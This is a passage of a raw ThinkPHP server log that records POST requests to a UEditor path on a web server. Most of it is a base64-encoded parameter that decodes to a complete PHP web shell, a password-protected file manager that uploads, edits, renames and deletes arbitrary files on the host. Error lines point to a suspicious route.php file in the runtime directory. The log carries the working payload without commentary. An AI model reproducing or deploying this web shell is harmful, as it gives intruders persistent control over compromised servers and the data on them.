SJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:52+08:00 ] 119.42.146.234 POST 59.110.137.245/common/static/plugin/ueditor/1.4.3.3/ueditor.config.js [运行时间:0.002542s] [吞吐率:393.39req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'common', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZ